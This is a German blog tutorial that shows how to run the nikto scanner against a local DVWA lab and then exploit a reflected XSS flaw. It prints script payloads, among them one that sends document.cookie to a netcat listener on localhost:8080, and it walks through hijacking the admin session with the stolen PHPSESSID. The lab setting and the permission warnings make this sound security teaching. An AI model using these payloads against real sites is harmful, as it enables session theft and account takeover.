Beiträge Mit nikto auf der Suche nach Sicherheitslücken
Post
Cancel

Mit nikto auf der Suche nach Sicherheitslücken

In meinem Beitrag zu Jekyll als Blogsoftware hatte ich versprochen, dass ich noch einen Beitrag zu nikto schreiben werde. Nikto ist ein Web Server Scanner. Der Quellcode kann auf GitHub unter sullo/nikto eingesehen werden.

Intallation

Mit git und Perl

Für diese Variante muss der git Client und Perl installiert sein. Dann kann man das GitHub Repostory mit folgenden Befehlen im Terminal klonen und nikto starten.

1
2
3
git clone https://github.com/sullo/nikto
cd nikto/program
perl nikto.pl

Mit git und Docker

In dem Repository ist auch ein Dockerfile vorbereitet, so dass man nach dem klonen des Repositorys eine Image bauen und nikto im Container ausführen kann.

1
2
3
4
git clone https://github.com/sullo/nikto.git
cd nikto
docker build -t sullo/nikto .
docker run --rm sullo/nikto

docker build -t sullo/nikto . baut ein Dockerimage, so wie e in der Datei Dockerimage spezifiziert ist. docker run --rm sullo/nikto startet dann einen Container auf Basis des soeben erstellten Images. Der Parameter --rm sorgt dafür, dass nach Beeden von nikto der Container gelöscht wird. Die temporären Dateien brauchen wir ja nicht mehr. Parameter für nikto können einfach angehängt werden, so als würde man das Programm direkt starten.

Kali Linux

In Kali Linux ist nikto bereits vorinstalliert und kann einfach über den Befehl nikto im Terminal aufgerufen werden. Da ich sowieso Kali als Virtuelle Machine installiert habe, werde ich diese Variante nutzen. Aber die Argumente für nikto lassen sich genauso als Parameter beim Aufruf über Perl oder Docker nutzen.

Vorbereiten des Zielsystems

Nachdem nikto installiert ist, brauchen wir noch ein Zielsystem, das auch ein paar Sicherheitsprobleme hat. Für solche Zwecke gibt es extra unsichere Anwendungen und Systeme zum Herunterladen. Eine dieser Anwendungen ist die Damn Vulnerable Web Application. Ich nutze unter Kali die Dockervariante vom DVWA, da man nichts extra installieren muss.

Bei solchen Anwendungen sollte man immer darauf achten, dass sie in einer abgeschotteten Umgebung wie einer VM laufen und nicht von außen erreichbar sind. Sie werden sonst schnell gefunden und gehackt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ulrich@kali:~$ sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa
Unable to find image 'vulnerables/web-dvwa:latest' locally
latest: Pulling from vulnerables/web-dvwa
3e17c6eae66c: Pull complete
0c57df616dbf: Pull complete
eb05d18be401: Pull complete
e9968e5981d2: Pull complete
2cd72dba8257: Pull complete
6cff5f35147f: Pull complete
098cffd43466: Pull complete
b3d64a33242d: Pull complete
Digest: sha256:dae203fe11646a86937bf04db0079adef295f426da68a92b40e3b181f337daa7
Status: Downloaded newer image for vulnerables/web-dvwa:latest
[+] Starting mysql...
[ ok ] Starting MariaDB database server: mysqld . . ..
[+] Starting apache
[....] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
. ok
==> /var/log/apache2/access.log <==

==> /var/log/apache2/error.log <==
[Sun Jan 17 17:34:13.989313 2021] [mpm_prefork:notice] [pid 335] AH00163: Apache/2.4.25 (Debian) configured -- resuming normal operations
[Sun Jan 17 17:34:13.989411 2021] [core:notice] [pid 335] AH00094: Command line: '/usr/sbin/apache2'

==> /var/log/apache2/other_vhosts_access.log <==

Docker lädt das aktuellste Image herunter und startet einen Container. In dem Container wurden erfolgreich eine MySQL Datenbank und ein Apache Webserver gestartet. Anschließend muss man im Browser http://localhost aufrufen und sich mit den dem Namen admin und dem Passwort password einloggen. Login in DVWA Nach dem Login kann das Setup über den Menüpunkt Setup DVWA aufgerufen werden. Am Ende der Seite ist der Button Create / Reset database, mit dem man das Setup abschließt. Login in DVWA

nikto in Aktion

Nachdem wir nun das Setup von nikto und des Zielsystems abgeschlossen haben, können wir nikto starten.

Hilfe

Die kurze Version der Hilfe von nikto wird ausgegeben, wenn man nikto ohne Argumente oder mit falschen Argumenten startet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ulrich@kali:~$ nikto
- Nikto v2.1.6
---------------------------------------------------------------------------
+ ERROR: No host or URL specified

       -config+            Use this config file
       -Display+           Turn on/off display outputs
       -dbcheck            check database and other key files for syntax errors
       -Format+            save file (-o) format
       -Help               Extended help information
       -host+              target host/URL
       -id+                Host authentication to use, format is id:pass or id:pass:realm
       -list-plugins       List all available plugins
       -output+            Write output to this file
       -nossl              Disables using SSL
       -no404              Disables 404 checks
       -Plugins+           List of plugins to run (default: ALL)
       -port+              Port to use (default 80)
       -root+              Prepend root value to all requests, format is /directory
       -ssl                Force ssl mode on port
       -Tuning+            Scan tuning
       -timeout+           Timeout for requests (default 10 seconds)
       -update             Update databases and plugins from CIRT.net
       -Version            Print plugin and database versions
       -vhost+             Virtual host (for Host header)
                + requires a value

        Note: This is the short help output. Use -H for full help text.

Eine lange Version der Hilfe erhält man mit dem Argument -H.

Die vollständige Anleitung findet man Online auf der Seite cirt.net

Default Scan

Einen Scan mit Defaulteinstellungen startet man mit dem Argument -h gefolgt von dem Protokoll und der IP-Adresse oder dem Hostnamen. Bitte denkt daran, dass Tool zum Aufspüren von Schwachstellen nur an eigenen Systemen oder an Systemen, bei denen ihr die explizite Erlaubnis des Eigentümers habt, angewandt werden dürfen.

Wir haben auf Port 80 den Dockercontainer mit der DVWA laufen, die wir natürlich testen dürfen.

1
nikto -h http://localhost

Die Ausgabe von nikto baut sich nach und nach auf. Zunächst erscheinen allgemeine Informationen zur verwendeten Version von nikto, den gescannten Webserver und zum TLS Zertifikat.

1
2
3
4
5
6
7
8
9
ulrich@kali:~$ nikto -h http://localhost
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          127.0.0.1
+ Target Hostname:    localhost
+ Target Port:        80
+ Message:            Multiple IP addresses found: 127.0.0.1, 127.0.0.1
+ Start Time:         2021-01-17 18:51:19 (GMT1)
---------------------------------------------------------------------------

Anschließend listet nikto nach und nach alles auf, was es für einen sicherheitsrelevante Information hält.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+ Server: Apache/2.4.25 (Debian)
+ Cookie PHPSESSID created without the httponly flag
+ Cookie security created without the httponly flag
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-3268: /config/: Directory indexing found.
+ /config/: Configuration information may be available remotely.
+ OSVDB-3268: /docs/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 7681 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2021-01-17 18:52:08 (GMT1) (49 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Das sieht doch schon mal ganz gut aus. Zumindest aus Sicht eines Angreifers.

Angriff

Wir werden nun exemplarisch die falsche Konfiguration des Cookies PHPSESSID und das Fehlen des X-XSS-Protection Headers nutzen, um einen Account zu übernehmen. Dazu werden wir eine Reflected Cross Site Scripting Attacke nutzen. Bei einer Reflected XSS Lücke gibt die Anwendung einen Teil einer Eingabe als Antwort, Suchergebnis oder Fehlermeldung wieder aus, ohne dabei gefährliche Eingaben wie Javascript herauszufiltern. Das ermöglicht es einen Link zu bauen, der beim Öffnen bösartigen Code an den Server schickt, der ihn dann an den Nutzer zurücksendet, welcher den Code dann ausführt. Daher nennt man diese Angriffsart Reflected XSS. Der Angriff wird über Bande gespielt.

XSS verifizieren

Zunächst prüfen wir, ob es eine XSS Lücke gibt. Das Fehlen des X-XSS-Protection Headers heißt ja noch nicht, dass es auch eine passende Lücke gibt. Die geht mit Tools wie dem ZAP Attack Proxy auch automatisiert, aber wir machen das hier händisch. Im Menüpunkt XSS (Reflected) gibt es ein Eingabefeld. Gibt man seinen Namen ein und klickt auf Submit, wird man mit Namen begrüßt. Unsere Eingabe wird also wieder ausgegeben. Jetzt müssen wir nur noch sicherstellen, dass Javascript nicht herausgefiltert wird. Dazu geben wir folgenden HTML Code als Namen ein und klicken auf Submit.

1
<script type="text/javascript">alert("XSS");</script>

Es erscheint ein Popupp mit dem Text “XSS”. Das ist genau das, was unser Javascript Code bewirkt. Mit den Entwicklerwerkzeugen des Browsers können wir auch prüfen, dass tatsächlich ein Script Element im HTML der Seite ausgeliefert wird.

XSS Alert

Von nikto wissen wir, dass der Server seinen PHPSESSID Cookie nicht ausreichend schützt. Mit diesem Cookie wird eine Anfrage einer [Session}(https://de.wikipedia.org/wiki/Session_ID), also einem eingeloggten Nutzer zugeordnet. Erhält ein Angreifer Zugriff auf den Cookie, kann er die Session übernehmen und im Namen des Nutzers, dem der Cookie gehört, Aktionen auf der Seite durchführen. Das machen wir uns jetzt zu Nutze und ändern den Text für den Namen in

1
<script type="text/javascript">alert(document.cookie);</script>

Das Popup beinhaltet nun die Cookies der Seite inklusive des PHPSESSID Cookies. Wenn der Cookie wie empfohlen ein HttpOnly Flag hätte, könnten wir mir Javascript Code nicht darauf zugreifen.

XSS Cookie

Code anpassen

Aus dem Popupcode machen wir nun ein kleines Skript, dass den Session Cookie des Nutzers stiehlt. Für die bessere Lesbarkeit einmal in einer mehrzeiligen Variante

1
2
3
4
5
<script type="text/javascript">
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'localhost:8080', true);
  xhr.send(document.cookie);
</script>

und einmal in der einzeiligen, die wir später in der DVWA nutzen werden

1
<script type="text/javascript">var xhr = new XMLHttpRequest();xhr.open('POST', 'http://localhost:8080', true);xhr.send(document.cookie);</script>

Dieser Code nimmt die ungeschützen Cookies und sendet sie an mit einem POST an einen Server, der unter localhost auf Port 8080 läuft.

Server starten

Bevor wir den Code in DVWA testen, starten wir einen Server, der die Cookies des Testnutzers entgegennimmt. Dafür eignet sich das Tool netcat oder das neuere ncat. Mittels folgendem Befehl starten wir einen TCP Server, der auf Port 8080 auf Nachrichten wartet.

1
nc -lvp 8080

Angriff ausführen

Wir gehen wieder auf die Seite für Reflected Cross Site Scripting der DVWA, fügen die Zeile

1
<script type="text/javascript">var xhr = new XMLHttpRequest();xhr.open('POST', 'http://localhost:8080', true);xhr.send(document.cookie);</script>

als Namen ein klicken auf Submit.

In der Adresszeile des Browsers steht nun http://localhost/vulnerabilities/xss_r/?name=%3Cscript+type%3D%22text%2Fjavascript%22%3Evar+xhr+%3D+new+XMLHttpRequest%28%29%3Bxhr.open%28%27POST%27%2C+%27http%3A%2F%2Flocalhost%3A8080%27%2C+true%29%3Bxhr.send%28document.cookie%29%3B%3C%2Fscript%3E#

Diese Adresse würde in einem echten Angriff z. B. in einer Phishing Mail oder auf einer bösartigen Webseite platziert werden. Sobald ein Opfer den Link anklickt, werden seine Cookies an den Zielserver gesendet. Das Verteilen des Links überspringen wir für unseren Test. Es reicht aus, dass wir gerade mit dem Adminaccount auf der Seite waren.

Wechseln wir nun in das Terminal, in dem der Netcat Server läuft, finden wir schon einen Nachricht des Browsers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
connect to [127.0.0.1] from localhost [127.0.0.1] 49682
POST / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 50
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/vulnerabilities/xss_r/?name=%3Cscript+type%3D%22text%2Fjavascript%22%3Evar+xhr+%3D+new+XMLHttpRequest%28%29%3Bxhr.open%28%27POST%27%2C+%27http%3A%2F%2Flocalhost%3A8080%27%2C+true%29%3Bxhr.send%28document.cookie%29%3B%3C%2Fscript%3E

PHPSESSID=al6o605kjfqkpop853lg9cal51; security=low

Der genaue Text des PHPSESSID unterscheidet sich natürlich bei jeder Session, da die ID zufällig generiert wird. Wir kopieren nun die ID al6o605kjfqkpop853lg9cal51 und kehren in den Browser zurück.

Im Browser starten wir eine private Session (In Firefox mit STRG-SHIFT-P, in Chrome mit STRG-SHIFT-N) und rufen http://localhost auf. Hier erwartet uns wieder die Loginmaske von DVWA, da wir in der privaten Session des Browsers nicht auf die laufende Session im anderen Fenter zugreifen können. Mit der F12 Taste öffnen wir die Entwicklertools des Browsers manipulieren wir den PHPSESSID Cookie und fügen den Wert ein, den wir mittels Netcat erhalten haben.

XSS Alert

Danach geben wir wieder http://localhost in die Adresszeile ein und können auf alle Bereiche der Anwendung zugreifen, da wir erfolgreich die Session des Admins übernommen haben. Einfach nur die Loginseite neu zu laden bring übrigens wenig, da http://localhost/login.php keine Weiterleitung hat, falls man schon eingeloggt ist.

Abschluss

Wir haben in diesem Beitrag gesehen, wie wir nikto grundsätzlich anwenden und die Ergebnisse anschließend prüfen. Bei nikto kann es wie bei allen Scannern zu Fehlalarmen kommen. Die Liste der gefundenen Probleme muss also stets überprüft werden. Nikto bietet eine Vielzahl von Tricks, um weitere interessante Ordner auf dem Server zu finden oder um Firewalls zu umgehen. Mehr dazu findet man in der ausführlichen Dokumentation des Projekts.

Bis bald,

seism0saurus

Dieser Blogbeitrag wurde vom Autor unter der CC BY 4.0 lizenziert.